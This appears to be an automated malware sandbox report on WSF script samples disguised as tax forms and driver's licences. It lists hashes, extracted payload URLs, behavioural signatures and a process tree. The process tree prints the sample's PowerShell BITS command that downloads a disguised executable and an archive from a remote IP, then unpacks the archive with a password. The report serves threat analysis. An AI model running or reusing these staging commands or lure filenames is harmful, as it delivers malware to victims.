Overview
overview
10Static
static
12O22-Tax-Returns.wsf
windows7-x64
102O22-Tax-Returns.wsf
windows10-2004-x64
10DRlVERS-LlCENSE.wsf
windows7-x64
10DRlVERS-LlCENSE.wsf
windows10-2004-x64
10PR0FlT&L0SS_2O23.wsf
windows7-x64
10PR0FlT&L0SS_2O23.wsf
windows10-2004-x64
10ScheduIe-K.wsf
windows7-x64
10ScheduIe-K.wsf
windows10-2004-x64
10Analysis
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max time kernel
117s -
max time network
120s -
platform
windows7_x64 -
resource
win7-20231215-en -
resource tags
arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system -
submitted
22/01/2024, 21:29
Static task
static1
Behavioral task
behavioral1
Sample
2O22-Tax-Returns.wsf
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
2O22-Tax-Returns.wsf
Resource
win10v2004-20231215-en
Behavioral task
behavioral3
Sample
DRlVERS-LlCENSE.wsf
Resource
win7-20231215-en
Behavioral task
behavioral4
Sample
DRlVERS-LlCENSE.wsf
Resource
win10v2004-20231215-en
Behavioral task
behavioral5
Sample
PR0FlT&L0SS_2O23.wsf
Resource
win7-20231215-en
Behavioral task
behavioral6
Sample
PR0FlT&L0SS_2O23.wsf
Resource
win10v2004-20231215-en
Behavioral task
behavioral7
Sample
ScheduIe-K.wsf
Resource
win7-20231129-en
General
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Target
PR0FlT&L0SS_2O23.wsf
-
Size
31KB
-
MD5
20874f5aa9f33c23c82862559cba74f6
-
SHA1
bf1b13349c19b8bf9350441292adffe9846d5723
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SHA256
edc2eeccd548103567716d8f84ffad3389e061c1a0787d38d854dbf616485ebe
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SHA512
e553b7defd08b73ef5760b68fb47bafd2ee38763c8806b526421ff3fab70ed8240f94dae3f5c60484d779e43a6097be4714d057ba3c5c0dc2cd475ffd5b9eaed
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SSDEEP
768:x15HSHJkDKQvY5wcx3OxhJz42O4zcHJN67+15HSHJkDKQvY5wcx3OxhJz42O4zce:xRit2wq+Rit2wq1
Malware Config
Extracted
http://176.107.185.29:666/Rar.jpg
http://176.107.185.29:666/load.rar
Signatures
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Blocklisted process makes network request 1 IoCs
flow pid Process 3 2236 WScript.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 2444 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2444 powershell.exe -
Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 2236 wrote to memory of 2444 2236 WScript.exe 28 PID 2236 wrote to memory of 2444 2236 WScript.exe 28 PID 2236 wrote to memory of 2444 2236 WScript.exe 28 PID 2236 wrote to memory of 2572 2236 WScript.exe 32 PID 2236 wrote to memory of 2572 2236 WScript.exe 32 PID 2236 wrote to memory of 2572 2236 WScript.exe 32
Processes
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\PR0FlT&L0SS_2O23.wsf"1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:2236 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "Start-BitsTransfer -Source 'http://176.107.185.29:666/Rar.jpg' -Destination 'C:\Users\Public\Rar.exe'; Start-BitsTransfer -Source 'http://176.107.185.29:666/load.rar' -Destination 'C:\Users\Public\load.rar'"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2444
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c Rar.exe x -p111 load.rar2⤵PID:2572
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